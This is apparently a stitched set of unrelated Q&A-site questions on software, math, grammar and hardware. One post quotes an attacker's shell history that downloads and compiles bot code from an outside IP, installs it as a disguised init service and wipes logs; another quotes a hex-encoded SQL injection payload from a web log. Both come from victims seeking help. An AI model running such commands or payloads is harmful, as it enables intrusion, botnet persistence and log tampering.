I'd like to use a background image for my world, but I'm not sure how to do it.   Right now I am using the sun as a lightpoint and it looks like sky and a flat plane (not realistic). I was thinking of just using a mountain background image for the world.  I've done that through textures etc. but I don't see ANYTHING in render even though it shows in worlds?  What am I doing wrong?    Also what's a cheap quick fix for cases like mine so it looks like the world isn't JUST blue sky?  Thanks guys!


I tried installing R on 16.04 LTS and I get the below error. I tried all possible solutions given in various forums with no luck. Please suggest.  sak@bav:~$ sudo apt-get install r-base Reading package lists... Done Building dependency tree         Reading state information... Done Some packages could not be installed. This may mean that you have  requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation:  The following packages have unmet dependencies:   r-base : Depends: r-base-core (>= 3.5.1-1xenial) but it is not going to be installed            Depends: r-recommended (= 3.5.1-1xenial) but it is not going to be installed            Recommends: r-base-html but it is not going to be installed  E: Unable to correct problems, you have held broken packages.


Are SSL certificates for constant.*.example.com allowed?

We have a use case where we'd like to provide an SSL certificate for:  auth.SOME_ID.example.com   However, there will be multiple values of SOME_ID.   Is an SSL wildcard certificate for auth.*.example.com permitted, or does the wildcard have to be the highest-level subdomain?


Joining attributes of polygons and points by location in QGIS

I have two shapefiles....   points containing a number field 'response_time' a polygon grid of square polygons containing fields including 'PNTCNT' with the number of points per polygon, calculated already using the tool 'points in polygon'   There are between 0 and 600 points within the bounds of each polygon in the grid.  I want to add fields to the polygon grid for the mean, min and max response times within each polygon, in addition to the PNTCNT field already there.  I have tried the 'Join attributes by location' tool, making the polygon layer the target and the points the join layer, and vice versa. I've selected 'take summary of interesting features'.  But I can't get the result I want. All I end up with is the polygon grid again but with an extra field 'COUNT' which replicates (or duplicates) the 'PNTCNT' field. No min, max and mean of values from the points layer.  What am I doing wrong? Is there a better way to do this? I have tried this using QGIS 1.7 and 1.8.


How to delete all emails from a mailbox on iPhone

How do I delete all emails on my iPhone4 from a mailbox without selecting them one at a time?  On the last iPhone OS update, something changed which caused all of my old emails to be re-downloaded to my phone.  I have about 3500 emails all but the last few days' I need to delete.


Could you please help me out this sentence?

I have recently read a sentence from The Economist magazine.      Researchers there are rushing candidate vaccines into trials.    I don't understand, is there anything missing in this sentence? Why "there are rushing candidate vaccines into trials" right after the "Researchers"?


How can I make it so I can run a specific program, just by typing its name in the console?

I have just recently installed Light Table downloading it from the git repository, and followed the instructions on  to create a desktop launcher.   Now I want to run the program by directly typing in the terminal  LightTable   and not  ./opt/LightTable/deploy/LightTable


What RPGs that don't have randomization mechanisms exist?

Ideally I am looking for RPGs that completely lack all randomization. No cards, no dice, no spinners. Hidden player knowledge is bad too, even that level of "random" is too random.  I'm looking for the RPG equivalent to Go or Chess.  Acceptable concessions: Should no games exist that are purely deterministic, here are the levels of randomness I will accept. These are in order, a game with only the last item is less desirable than one with only the first.   Ignorable Randomness. The game features random shops or loot, random battles on travel or some other easily ignored randomness that can be replaced with non-randomized lists or just excluded. Pre-game Randomization. Rolling for character stats, but then using what was rolled for the rest of the game with no further randomization. Hidden Player Knowledge. For example, if the game has a stealth mechanism that allows the GM not to mark the location of the hidden enemy. Hidden Character Knowledge is always acceptable. One-Off Random Element. Perhaps the game has a single spell which hits on a coin flip. TBD - I may add additional acceptable levels of randomness if no games are found.


How to prepare and use fresh herbs with woody stems (thyme, oregano)

For quite a while I have wanted to grow a selection of fresh herbs in my kitchen. I have managed to set up that works wonderfully growing my most used herbs but now I’m running into questions about how to use them, particularly herbs like thyme that have small leaves and woody or fibrous stems. I prefer to include the herbs into whatever I’m cooking rather than use a bouquet garni. But picking individual leaves from a plant such as thyme is incredibly work intensive and not really worth the time involved. Is there a more efficient way to harvest these sorts of leaves? This question has been linked to a similar question, which is fine, but I believe that Stephie’s answer here is more complete & helpful than any given for the linked question about oregano.


I'm pretty new to photoshop and illustrator and trying to create a simple text-based logo to use on my web site, for example:   You get wildly different versions of that depending on what browser you use to render the text (which is why I obviously must create the image myself), but for example on Chrome you can already see a blurriness around the edges of the font.  The problem I'm having in Illustrator is that when I write in a certain font (e.g. "Arial Rounded MT Bold" at 24pt), the font looks beautiful and crisp against my background colour at 200% zoom, but I start to see blurring at 100% - then I'm not sure what it is about the 'save to web' process, but the image loses further clarity by the time it ends up on my website (as a 'type optimised' png).  I'd read somewhere that photoshop was better for saving images of text for web, but I see a similar blurriness there even in advance of exporting (and of course a 200% zoom in photoshop just pixelates the image).  So what I'm really lacking is a step-by-step for-dummies type guide of how to get crisp images of text onto a website.  At this point I'm not sure if perhaps I've just chosen a bad colour contrast, or fonts that don't scale well - although I'm also wondering if there's something significant in the fact the font looks beautiful in Illustrator at 200% or larger - perhaps that means I should be exporting the font from Illustrator at a larger size than required and then doing additional downsizing (somehow!) afterwards - although of course again I can't trust web browsers to do that for me.  EDIT: I should also have noted that the effect is much worse on my monitor versus my laptop (tempting to say I have a bad monitor but there's many websites where the monitor version looks fine too!)


We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following:  unset HISTFILE mkdir /usr/lib/tmp  cd /usr/lib/tmp  wget http://188.72.217.17/mzb.c -o /dev/null wget http://188.72.217.17/windef.h -o /dev/null gcc mzb.c -o /bin/bot -lpthread rm -rf mzb.c rm -rf windef.h wget http://188.72.217.17/botsupport.sh -o /dev/null chmod +x botsupport.sh mv botsupport.sh /etc/init.d/httpd2 cat /etc/init.d/network > /etc/init.d/network.bp echo \#\!/bin/sh  >  /etc/init.d/network echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network cat /etc/init.d/network.bp >> /etc/init.d/network cat /dev/null > /var/log/lastlog history -c nohup /etc/init.d/httpd2 &   (&&'s replaced with newlines for clarity)  I never ran these commands, EVER! How did this happen, is my server being hacked? I immediately changed my root password, but was hoping someone could make heads or tails of what's happening over here.  I see references made in the source to ddos bots, and me and my colleague are seriously concerned!  Thanks in advance!


I had downloaded Unity 8 on Ubuntu 16.04 LTS and after I log into it, only a black screen shows up, when I hit Ctrl + Alt + F1, some sort of command line opens, and there I type my username and pass and then type startx, then only my desktop wallpaper can be seen, without any status bar, and the cursor is a cross-hair, a can use terminal, I can make folders and open them but there is nothing except those windows, no launcher and no status bar.  Please help! I installed Ubuntu for unity 8!


How to extract values from rasters at location of points in R?

My question is about extracting values from rasters at the location of points. With the function extract this is very easy, and the function gives me a dataframe with the values of all the variables in the points. I want to have in that dataframe the coordinates of each point. How can I make that happen? Is it possible to say to R that when extracting the values from the raster also add the columns of the location point.  This is my procedure:  presencias=read.table("c:/SDM_R/presencias/P_lentiscus_pres.csv",header=TRUE,sep=";")  lista_variables <-list.files(path="Variables_modelizacion/solo_ascii",pattern='*.asc',full.names=TRUE) variables <- stack(lista_variables)  variables_presencia<-extract(variables, presencias)   the results are something like these:  > bio1  bio12  bio18  bio2  bio4  > 90    875    165    95    4886 > 115   1085   158    83    4075 > 135   1153   153    67    3402 > 85    1026   137    99    5203 > 96    667    128    108   5823 > 98    531    109    113   6305 > 132   450    63     123   6598 > 132   569    104    106   5963 > 95    814    196    98    5571 > 146   474    39     114   6603   But I want two more columns with the coordinate data (but could be others columns from my csv extracting location table).  Thank so much.


Number of normals from a point to an ellipse

From a typical point $P$ inside an ellipse, how many points $Q_i$ on the ellipse have $PQ_i$ normal to the ellipse?  Someone asked me at school many years ago but I don't think I worked it out.


My flight will arrive at DXB (Dubai) from Djibouti and I have a connection flight the same day from DWC (Al Maktoum) to KUL (Kuala Lumpur). I'm a Yemeni national and require visa to enter the UAE.   How I can I obtain a transit visa to get to DWC from DXB?


Usage of -ist and -ian, when to use which?

This is a question bugging me for a long long time, especially for a non-native speaker like myself.  We have physicist standing for the people doing physics research, as is linguist, chemist, etc.  But for math, the counterpart of "-ist" suddenly becomes "-ian": I call myself a mathematician.   What bugs even more is that we have physician as well, yet representing a totally different occupation with physicist.  This is not the end, in mathematics, we have so many adjectives derived from the names of mathematicians. Through some wikipedia-fu I learned they are called eponymous adjectives, most of which I used often end with "-ian": Newtonian potential, Cartesian coordinate system, Lorentzian transformation etc. These words often indicate somewhat the relationship of possession.   Yet again, not all possessive relations are represented using "-ian", there are: Maxwell's equations, not Maxwellian equations; Gauss's divergence law, not Gaussian law (even though there are tons of things with Gaussian in it).  What confuses me even more, is that "-ian" after people's name can not only represent "of someone", it also can stand for "a believer or supporter of someone's theory". For example, I call myself a Kantian. There is Leibnizian as well, the supporter of Leibniz's philosophy.  Now my questions are:   Is there a standard rule to decide which one to use, "-ian" or "-ist", when describing an occupation? For eponymous adjectives, my vague impression is that: when something is derived not by that specific person, but rather whose derivation bears the spirit of that someone's theory, then we use "-ian". For example, Newtonian potential is not invented by Newton, yet Maxwell's equations are unified by Maxwell. But another example is that Descartes invented Cartesian coordinate system, but the system is not called  Descartes'  coordinate system...How to tell if we want to invent some new terms? For example, if I proved a new theorem using some idea from Newton, do I call the proof Newton's argument or Newtonian argument? Can "-ian" be used interchangeably in "I am a Kantian" and "This is a Kantian style argument."? or there is some tradition for each word ending with "-ian"? i.e., Some words ending with "-ian" can be only used as noun or adj.


Is it possible to make biblatex output page counts for both the regular pages and the roman-numbered pages, for example:     Cook, Theodore Andrea. The Curves of Life : Being an Account of Spiral Formations and Their Application to Growth in Nature, to Science and to Art; with Special Reference to the Manuscripts of Leonardo da Vinci. — London : Constable and Company, 1914. — xxx + 479 p.   Here there are "30 pages + 478 pages" in total. Thanks!


Why can't you have multiple domains in one function?

Let's say we have function $y=\sqrt x$. For natural numbers it has two solutions. For example $\sqrt 4 = \pm2$. Wouldn't it make sense then to graph a sideways parabola with more than one points in vertical lines? Why mathematics say you can't do this when it is very obvious the square root of $x$ is only reflection of $x^2$ along the $y=x$ line?


Block app internet access through app ops hidden menu

I'm on lollipop and want to deny some apps to use the INTERNET permission. How do I block them? In the hidden app ops menu there is no INTERNET permission. Do I need another app for that?


Getting processor overflow flag in g++ or clang

I have an integer that may have the most significant bits different or equal.  I want to chekc for that.  Actually I do:   struct obj{   public:    Token t;   bool isNumber(){return t<<1>>1==t;}    Instead I would like to do something like:  struct obj{   public:   Token t;   bool isNumber(){t+t;return ProcessorOverflowFlag;}   Is there any way to do it in g++ or clang


How do I remove the "from iPhone" dock icon popping up, MacOS High Sierra

I updated my OS to High Sierra, 10.13.5, and started seeing a weird dock icon pop up whenever I open a mail app on my iPhone. I want to get rid of this feature. Dock Preferences do not seem to have option to remove it. Thanks


How to become mayor in animal crossing, new leaf

My daughter bought her game used and opened a new file named after herself and has been working on her town. The game is new to us and we did not realize the previous owners info and town still exists. Is he the mayor? Is there anyway to delete his file without damaging hers. Will she then be the mayor. Thanks. I am not a gamer and she is just starting so any info would be so appreciated.


I'm trying to build a radar system like the one in the original X-Wing games. The way it works is that there are two circular radar systems, one for behind the ship, and one for infront.   So, I've written a class to represent the radar, it has a vector representing the direction the radar is facing, and a 3D position of where the radar is. Both of these things will change in realtime as the ship moves and so the radar will need updating each frame.  Now I'm trying to figure out how to transform the position of another ship onto the radar. What I need is a final 2D X/Y coordinate between -1,-1 and 1, 1 for plotting on the 2D radar screen.   Given two vectors (the direction of the ship - which the radar is facing - and the direction to the ship we are plotting), how can I calculate a 2D X-Y position on the radar? Obviously I also have access to the up and right vectors of the ship too.  My instinct says that this should be relatively straightforward, but my math skills suck.


What does the blue number on the Bookmarks tab show?

Here is a screenshot on Meta StackOverflow showing 46 new bookmarks although I have only 2 bookmarks:  Not sure what this number is. Perhaps the total number of "new bookmarks" across all the StackExchange network? Here is a screenshot of my StackOverflow profile showing 41 new bookmarks, which is probably the correct number, which is probably included in the number on Meta StackOverflow (and the 5 others from other StackExchange sites?):  Same issue on Meta StackExchange, but with a different number and I don't have an explanation for this one (shows 9 new bookmarks although I have only 5 bookmarks):


Why does the 802.11b DSSS signal have 22 MHz of channel width? How does the information get spread over that width?

This topic has got me so much confused.  In terms of Wi-Fi, when we say the 802.11b has 22 MHz of Channel Bandwidth, what does it mean? When we refer to a particular Channel No. say Channel 1, it has its center frequency of 2412 MHz, but it spans from 2401 MHz (-11 MHz) to 2423 MHz (+ 11 MHz) to form a 22 MHz channel. Why is that? Why can't the channel be just 2412 MHz signal?   How does the data utilize the 22 MHz width?   Also how does increasing the Bandwidth help in increasing the throughput (not data rate)? No highway examples please, because those are layman and incorrect analogies.  Thanks


Does drafting cause resistance to the lead rider?

I know that when riding close to another cyclist, I expend less energy to go the same speed. But does the Conservation of Energy "law" mean that the lead cyclist is going to expend more energy to allow me to expend less?  (i.e. Is there a physical reason to get angry at someone drafting behind you? Does riding in their slipstream cause drag for them?)


After upgrading from 10.04 to 12.04 I am trying to install different packages.  For instance ia32-libs and skype (4.0).  When trying to install these, I am getting the 'Unable to correct problems, you have held broken packages' error message.   Output of commands:  sudo apt-get install -f Reading package lists... Done Building dependency tree        Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.   After running this:  sudo dpkg --configure -a foo@foo:~$ sudo apt-get install -f Reading package lists... Done Building dependency tree        Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.


Allow moderators to refresh a user's network profile

Currently, moderators have the ability to reset a user's username and/or profile text, and propagate that to the rest of the network, resetting it everywhere. However, often, the user's stackexchange.com network profile will also need to be reset, and this is currently only possible to do by either the user in question or staff.  Instead of bothering staff every time, moderators should have something available similar to chat, where moderators can change a user's parent site and have access to a "refresh profile" button, which will fetch updated information such as username and avatar from the parent site.  Currently, the only thing that moderators can do on stackexchange.com is to see hidden accounts. It would make sense for moderators to be able to refresh profiles there, like chat, and avoid pinging CMs every time this comes up.


In C.H. Edwards's  he defines the ordinate set $\mathcal{O}_f$ of a function $f:\mathbb{R}^n\to\mathbb{R}$ as the set of points between $\mathbb{R}^n$ and the graph of $f,$ including the points of evaluation, $\mathbf{x}\in\mathbb{R}^n$ and the points in the graph $\left\{\mathbf{x},f\left(\mathbf{x}\right)\right\}\in\mathbb{R}^{n+1}$.  Later on he defines a set $\hat{\mathcal{G}}=\partial\mathcal{O}_f-\mathbb{R}^n,$ where $\partial\mathcal{O}_f$ is the boundary of $\mathcal{O}_f.$  The intent seems clear.  First $$\mathbb{R}^{n+1}-\mathbb{R}^n=\mathbb{R}^n\times\left(\mathbb{R}-\left\{0\right\}\right)$$ where $\times$ means Cartesian product.  Then $$\hat{\mathcal{G}}=\left(\mathbb{R}^{n+1}-\mathbb{R}^n\right)\cap\partial\mathcal{O}_f.$$ But long ago I learned that $\mathbb{R}^n$ is the set of all real number n-tuples, and $\mathbb{R}^{n+1}$ is the set of all (n+1)-tuples, so elements of $\mathbb{R}^{n}$ are not elements of $\mathbb{R}^{n+1}$ and $\mathbb{R}^{n}$ is not a subset of $\mathbb{R}^{n+1}.$ So am I correct in concluding that $\mathbb{R}^{n+1}-\mathbb{R}^n$ is not really the relative complement of the two sets?


"is" vs. "are" after a group of items grouped using "or"

Do not use X if A, B, or C is sufficient. Do not use X if A, B, or C are sufficient.   X, A, B, and C are nouns. The reader have a choice to use A, B, or C (the exact choice depends on the external circumstances; e.g., use A if sunny, use B if rainy, use C if cloudy) or X. X is the all-purpose and very powerful solution. However, using X is overhead and generally it should be avoided. Which sentence should I use?


I can't add comments to my own question that was asked as guest

I've asked this question as a guest   Now, I think I had account on stackoverflow with the SAME EMAIL ADDRESS When I tried to login with that email I just get this new account I'm writing from now and can't add comments to my question. So, What can I do ?


How can I make my flyback converter discharge immediately?

I'm using a flyback converter (220-100V to 19vdc) to power an electronics unit. But it doesn't discharge fast enough, this causes some relays to stay energised for a second or two after power supply is cut off which is not ideal. Any ideas on how to make the flyback converter discharge almost instantly? Also, what can cause a relay to stay energised after supply is out?


What are the limitations of using an older ubuntu distribution when a new one is released?

Date: 6 Jan 2015  I have started using Ubuntu 12.10 and the latest version available is Ubuntu 14.04.  I use a USB modem. I get the commands to be executed for it to be used on 12.10 distribution,from ubuntu community. Would I be able to get similar support from Ubuntu community, if I switch to the latest version ?  I am not able to install any new software on 12.10 version and the downloaded .deb file is showing a lot of errors to get installed.  I am trying to install chrome browser.The error I see is like: dependency is not satisfiable : libboost-iostream1.46.1(>=1.46.1-1) And I am suggested by the community to install package managers like aptitude or synaptic(to which I see some other errors).  Would such problems experienced in installing new softwares reduce, if I switch to the latest version ? Would the ubuntu community be helpful to me ?


What are examples where a "naive bootstrap" fails?

Suppose I have a set of sample data from an unknown or complex distribution, and I want to perform some inference on a statistic $T$ of the data. My default inclination is to just generate a bunch of bootstrap samples with replacement, and calculate my statistic $T$ on each bootstrap sample to create an estimated distribution for $T$.  What are examples where this is a bad idea?  For example, one case where naively performing this bootstrap would fail is if I'm trying to use the bootstrap on time series data (say, to test whether I have significant autocorrelation). The naive bootstrap described above (generating the $i$th datapoint of the nth bootstrap sample series by sampling with replacement from my original series) would (I think) be ill-advised, since it ignores the structure in my original time series, and so we get fancier bootstrap techniques like the block bootstrap.  To put it another way, what is there to the bootstrap besides "sampling with replacement"?


Describe someone who doesn't want anything better to happen to anyone else

I'm looking for a one (two might be ok) word description for a person who doesn't want anyone else to have a better life than himself. This is the type of person who will break your crayon on purpose because he accidentally broke his own. He's not inherently mean; if his own life is going well, then yours can, too.   To make this a little stronger, here's another example. Describe (in one or two words) a person who, after being born with only one arm, goes around chopping off other people's arms because he thinks it isn't fair that they all get to have two.  So far, the best I have is bitter or malcontent, but neither of these is strong enough in my opinion.   For context, I'm writing a log line and having trouble getting a strong enough adjective to describe the antagonist.


What do I do if recovery software doesn't find any files to recover on SD card?

I accidentally formatted my memory card before realizing I hadn't copied the photos and video from it. Since I realized right away, I had not used the card and there is no chance for overwriting having occurred.   I have tried various free recovery software including recuva, photorec, icare-recovery, and a few others. None of them find any files on the card, though the software says it should be able to recovery data from formatted cards.   Is my data lost forever, or am I doing something wrong?


How to debug the mysterious "duplicate value found:  duplicates value on record with id: " error

I've just spent several hours trying to fix a deployment that was failing with the following extremely helpful error message:  Error: objects/Opportunity.object(2098,13):duplicate value found: <unknown> duplicates value on record with id: <unknown>   After a lot of Googling (which didn't help) and even more trial and error (which finally did), I've discovered that the question I really needed an answer to is...     If Salesforce gives me a "duplicate value found: <unknown> duplicates value found on record with id <unknown>", how can I figure out what's actually gone wrong?   There are several possible answers online, and a couple here on StackExchange, but without knowing how to narrow the focus after getting such a horrible, useless error message, it's too easy to fall for red herrings.


How do i prove that continuous linear transformation between normed spaces is bounded?

Let $(V,||\cdot||_V),(W,||\cdot||_W)$ be normed spaces over $\mathbb{C}$.  Let $T:V\rightarrow W$ be a linear transformation.  Assume $T$ is continuous.  Then, how do i prove that $\exists c>0$ such that $\forall v\in V, ||Tv||_W<c||v||_V$?


I have this legacy code that I am working with and there is code like this all over the place:       #If PRE611 = True Then         'Do Something     #Else         'Something Else     #End If   I am pretty sure the PRE611 has something to do with versioning, but I would like to know what specifically the # sign does.


ConTeXt: backgroundcolor hides text after tikzpicture with makeup

I am trying to make slides with a tikz picture followed by some text. I am defining a makeup to get vertical centering. Through some trial and error, I found that setting the background color of the page seems to hide the text after the tikz picture and I have no clue what's going on.  Minimal example (Test2 does not show up for me):  %&context  % Loading tikz \usemodule[tikz] \usemodule[pgfplots]  \setupbackgrounds[page][background=color,backgroundcolor=white]  % Defining centered slides \definemakeup[center]  \definestartstop [CenterSlide] [before={\page\startcentermakeup},   after=\stopcentermakeup\page]  \starttext  \startCenterSlide  \starttikzpicture \node[draw] (test) {Test1}; \stoptikzpicture \\  Test2 %<- I don't see this show up  \stopCenterSlide  \stoptext   I have 3 ways of making Test2 show up, none of which are really acceptable:   Remove \setupbackgrounds (but I would like to have a non-white background color) Remove the makeup (which might suggest the nature of the problem, but I thought makeup was the right way to define slides) Add any text before the \startikzpicture (again, might be indicative of something, but I want the option to have the diagram on the very top)   Could someone correct what I'm doing wrong or explain what's going on?  Update:  Based on the comment by @Ulrike Fischer, I can confirm that the issue seems to be with the color of the text. Forcing the text color makes Test2 show up:  \definecolor[myblack][c=0, m=.6, y=.3, k=100] \color[myblack]{Test2} %<- This now shows up   Setting the color with \startcolor seems to also work in the minimal example, but not in my real document (suggesting that there are other interactions). Using a normally defined black also doesn't work.


How to program to prevent the Windows "Not Responding" dialog

When an application fails to be responsive for 5 seconds (), Windows can display "(Not Responding)" in the title bar and in some cases show a "not responding" dialog:    Ideally, the 5+ second execution should not block the main/event-processing thread, but is there a simple (e.g. 1 liner for MFC C++) way to communicate to Windows that the main thread is busy and shouldn't be treated as a "Not Responding" application to be closed?  Is the quickest hack to simply periodically call peak  with PM_NOREMOVE?


I have an application written in C++ and MFC which is multithreaded running on windows. Occasionally I do get some complaints such as deadlocks or an unhandled exception which is caused because of these threads. Normally I use visual studio (if the problem is reproducible) or else use the WinDbg to analyse the dump files generated. Is there any better way of doing this? Can  I use some other tools to do this?


public class WrapperTest {      public static void main(String[] args) {          Integer i = 100;         Integer j = 100;          if(i == j)             System.out.println("same");         else             System.out.println("not same");     }     }   The above code gives the output of same when run, however if we change the value of i and j to 1000 the output changes to not same. As I'm preparing for SCJP, need to get the concept behind this clear. Can someone explain this behavior.Thanks.


Show that every polynomial is the sum of an even and odd function.

I have been given an optional challenge problem at the end of one of my earlier tutorials that I am unsure how to solve. It is a question with three parts, but I would like to tackle them separately with a little help on part a.  a function $f$ is even if $f(-x) = f(x)$ for all $x$, and odd if $f(-x) = -f(x)$ for all $x$.  Now I am told to show that every polynomial is the sum of both an even and an odd function, but have no idea how to go about this.  Is the key to this question that $f(-x) = x^2$ will always $= f(x)$ $\therefore$ $x^2$ is even? I understand that, and if a secondary function was $g(-x) = x$, where x is only positive, then it would make sense that this is a odd function, but it is for all x, and therefore a negative x value in g(-x) would become positive and it wouldn't be an odd or an even function.


Neural network with skip-layer connections

I am interested in regression with neural networks.  Neural networks with zero hidden nodes + skip-layer connections are linear models.  What about the same neural nets but with hidden nodes ? I am wondering what would be the role of the skip-layer connections ?  Intuitively, i would say that if you include the skip-layer connections, then the final model will a sum of a linear model + some non-linear parts.  Is there any advantage or disadvantage in adding skip-layer connections to neural nets ?


Why does multiplication act like scaling and rotation of a vector in the complex plane?

I regularly use the geometric analogy of multiplication by a complex number to represent a scaling and rotation of a vector in the complex plane. For a very simple example, i would point up along the Y axis and multiplying it by i again would be a 90 degree rotation resulting in something pointing in the -X direction.  The thing is, I no longer recall why this is true. It's not obvious to me any longer why multiplication is in any way connected to rotation (scaling seems fairly obvious) and I was unable to explain the logic behind this useful trick to a friend who asked why it worked.  Could I get a very clear explanation of this geometric interpretation of multiplication by complex numbers? I feel like it had to do with Euler's identity and the polar form of complex numbers but this math is quite a few years behind me.


What is the essence of Lagrangian/Hamiltonian mechanics?

I'm reading on the calculus of variations, and Hamiltonian mechanics is discussed there. However, I'm not a physicist, so I cannot very well place the concept of Hamiltonian Mechanics in perspective.   Wikipedia treats Hamiltonian Mechanics in a very formal way.  That's why I hope someone can explain to me what is the essential insight, or the essential change in approach, of Hamiltonian Mechanics.   I'd like to understand conceptually-historically what the change in mathematical approach is compared to Newtonian mechanics, what the change in intuition is, the insight that precipitates it, and why it is significant.  Edit: This question is different from , in that I'm asking more for the conceptual (and historical) significance and change of perspective of Hamiltonian Mechanics, rather than what I need to do to learn it.


Show that the union $\bigcup A_n$ has empty interior in $X$

Let $X$ be a Hausdorff compact space; let $\{A_n\}$ be a countable collection of closed set of $X$. Show that if each set $A_n$ has empty interior in $X$, then the union $\bigcup A_n$ has empty interior in $X$.   My solution:  Suppose that, $U=$ interior of $\bigcup A_n$ is nonempty. Then any open subset of $U$ can not have isolated point, since then all interior of $A_n$ can not be empty. (If $U$ have isolated point, then for some $x\in X$ with $\{x\}\subset U$ is an open set, then it must be a subset of some $A_n$, since $\{x\}$ do not intersects with $X-A_n$).  Let, $x_1\in A_1$. Choose a point $x_2\in U$ that do not contain in $A_1$. Now choose disjoint sets $W_1$ and $W_2$ about $x_1$ and $x_2$. Now, take $V_1=W_2\cap U\cap A^c_1$. Then, $x_1$ do not contain in $\bar V_1$.  Again do this: There exist an $k_1$ such that $x_2\in A_{k_1}$. Choose a point $x_3\in V_1$ that do not contain in $A_{k_1}$. Now choose disjoint sets $W_3$ and $W_4$ about $x_2$ and $x_3$. Now, take $V_2=W_4\cap U\cap A^c_{k_1}$. Then, $x_2$ do not contain in $\bar V_2$.  In this way we can find a collection of closed sets $\{\bar V_n\}$ such that $$\bar V_1\supset \bar V_2\supset\bar V_3\supset\dots$$  Note that, since $X$ is compact, $\bigcap \bar V_n$ is nonempty. Let, $x\in \bigcap \bar V_n$.   Interior of $A_n$ is empty and $x\notin A_n$ for all $n$ leads to a contradiction.  Is this solution ok? Any help appreciated.  Sorry that I published same question twice. I marked the  duplicate.


'Team of economists': singular or plural?

I am writing an ad and would like to write: "Our team of economists are at your service and available by phone or email.  They will be happy to respond...".  I know that grammatically speaking, 'team' is the subject of the sentence and, being singular, would dictate that 'it' is "at your service".  BUT, it just feels better reading this and it evokes a picture of a bunch of economists doing what they do rather than a single unit".  Is what I'm doing OK?  Should I be arrested by the grammar police?


How is the electostatic field propagated by the vacuum? How does a charge feel the presence of another charge when there is NOTHING between them?

Is the word "vacuum" equal to "nothing"? Imagine two charges of opposite sign, far from one another in vacuum, and moving with constant velocity - s.t. none radiates energy, none emits photons. At some time though, the course of their movement brings them closer. They begin to accelerate toward one another. How do they feel the presence of one another? During their constant movement no photons are emitted, no "information" spreads in the universe about their presence.


Whenever I render something in Blender Cycles the renderlayer node seems to have a Z-Depth output, however whenever I try to use it it is completely white. What is it useful for?


Can I Comma Delimit Multiple Rows Into One Column?

I am attempting to merge something like this in my SQL Server database:  [TicketID], [Person]  T0001       Alice  T0001       Bob  T0002       Catherine  T0002       Doug  T0003       Elaine  Into this:  [TicketID], [People]  T0001       Alice, Bob  T0002       Catherine, Doug  T0003       Elaine  I need to do this in both SQL Server and Oracle.  I have found the function GROUP_CONCAT for MySQL that does exactly what I need here, but MySQL is not an option here.  EDIT: Test bench:  DECLARE @Tickets TABLE (     [TicketID] char(5) NOT NULL,     [Person] nvarchar(15) NOT NULL )  INSERT INTO @Tickets VALUES     ('T0001', 'Alice'),     ('T0001', 'Bob'),     ('T0002', 'Catherine'),     ('T0002', 'Doug'),     ('T0003', 'Elaine')  SELECT * FROM @Tickets


I recently installed Ubuntu 12.04 on my Samsung laptop alongside Windows 7. Whenever I use Ubuntu (even when its idle) kworker uses almost 90% of one of 8-cores. Even though it doesn't really affect my usage, it bugs me and I am afraid of that it might harm my processor. I even tried installing another Linux distro (Linux Mint), and kworker caused the same problem. So I don't know what to do. I would really appreciate your  help.


Issue with using ContactID as subscriber key in Marketing Cloud

We have set up our Sales Cloud - Marketing Cloud integration where Contact ID is used as the subscriber key.  What we've noticed is when we have contact ID as the subscriber relationship on our sendable data extension, Marketing Cloud will reference contact ID on All Subscribers list and if data matches, it will send to the email address listed on All Subscribers and not to the one on the data extension.  This has caused us headaches for a number of reasons:   Email addresses always change so the one on All Subscribers is out-of-date. Whilst preference center can update a recipients address and write this back to All Subscribers that not how most addresses are updated by the user Email address is typically updated in Sales Cloud instance and migrated to Marketing Cloud either through imports or via synchronized data extensions.  It does not map directly to All Subscribers. Marketing Cloud users assume (and quite rightly) the address listed on the data extension is what will be used in the send. Not the one on All subscribers.   Anyone else experienced this? Any solution to resolve this issue?


My MacBook Pro regularly gets into a state where a very lightly loaded system starts processing very slowly: mouse clicks and button presses take a few minutes to process and a couple of useful things can be done in the space of a couple of hours if I'm attentive.  Note that this happens without fans or any other signal that its running close to its operating limits. Regardless this is undesirable.  MacOS does not seem to recognize this state as a fault or failure, so I need to manually power off, and hence I don't get the "your system was restarted..." message with a crash report on boot (no bugs to be had in MacOS of course). I have XCode installed (linux developer making due on MacOS). How do I force MacOS to dump the state of the running processes and reboot?


What software can graphic designers work with?

What software products can a graphic designer work with? What do you like about these programs?  Which do you prefer working with?


my website under attack, how to stop this

my website seems to be under attack.  i found this in one of the logs:     2014-12-23 01:37:35 46.148.31.54 - x.x.x.x 80 GET   /pagename.asp?fieldname=558211'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c4152452040(...long   hex   code...)6f72+as+varchar(8000))+exec(@s)--|44|80040e07|Syntax_error_converting_the_varchar_value_'558211_declare_@s_varchar(8000)set@scast(0x73657420616e73695f7761(...long   hex code...)e636f... 500   Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_5)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/38.0.2125.104+Safari/537.36   I tried some online hex to string converter and it shows that all that hex is actually a sql statement meant to put a website link in all table columns.  it uses information_schema thing now I am very inexperienced, but this looks like some sql injection attack.  i use simple things like filtering characters etc.  But I wish to know how to stop this kind of attack when sql statement is converted to hex and then used in urls.  i searched around but couldn't find anything to prevent this particular type to attempt. thank you for your time


I have the following topology homework problem:     Prove that if $Y$ is a subspace of $X$, and $Z$ is a subspace of $Y$, then $Z$ is a subspace of $X$.   My first thought was that clearly, since $Z \subset X$, $Z$ is a subspace with the usual subspace topology. But then there is nothing to show and $Y$ is not used.  Then I thought that maybe you need to show the usual subspace topology on $Z$ from $X$ is the same as the topology on $Z$ from $Y$, given that $Y$ is a subspace of $Z$. With that in mind:  The open sets of $Z$ are of the form $Z \cap O_i$, where $O_i$ is open in $Y$. The open sets of $Y$ are of the form $Y \cap U_i$, where $U_i$ is open in $X$. Thus, the open sets in $Z$ are of the form $Z \cap Y \cap U_i$, $U_i$ open in $X$. Clearly this is not equivalent to the usual subspace topology of $\{Z \cap U_i: U_i$ open in $X$}, unless $Y$ is an open set in $X$, which is not given. Is there something I'm missing?


How do I open two Excel files (2010) on two separate screens?

I would to have my current working file on main screen, and the file used to import data from on my side screen.


